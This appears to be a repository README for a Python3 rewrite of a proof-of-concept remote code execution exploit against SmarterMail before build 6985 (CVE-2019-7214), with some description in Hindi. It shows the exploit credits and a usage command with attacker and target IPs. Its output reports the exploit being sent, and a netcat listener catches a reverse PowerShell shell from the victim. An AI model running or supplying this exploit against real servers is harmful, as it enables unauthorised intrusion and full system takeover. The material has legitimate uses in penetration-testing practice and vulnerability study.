drew-alleman/cve-2019-72141F98D द्वारा खोजे गए SmarterMail < Build 6985 रिमोट कोड निष्पादन (CVE-2019-7214) का Python3 पुनर्लेखन POC
# Exploit Title: SmarterMail < Build 6985 Remote Code Execution
# Exploit Author: 1F98D
# Original Author: Soroush Dalili
# Modified Author: Drew Alleman
# Date: 10 May 2020
# Vendor Hompage: https://www.smartertools.com/
# CVE: CVE-2019-7214
# Tested on: Windows 10 x64
# References:
# https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/
#
# SmarterMail before build 6985 provides a .NET remoting endpoint
# which is vulnerable to a .NET deserialisation attack.
$ python3 CVE-2019-7214.py -l 192.168.45.215 -r 192.168.111.65
[*] Attacking: tcp://192.168.111.65:17001/Servers
[*] Attempting to send exploit...
[*] Exploit sent! Check your shell at 192.168.45.215:4444
नोट: connect to xxx संदेश दिखने के बाद शेल शुरू करने के लिए आपको एक बार एंटर दबाना होगा।
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.215] from (UNKNOWN) [192.168.111.65] 49788
PS C:\Windows\system32>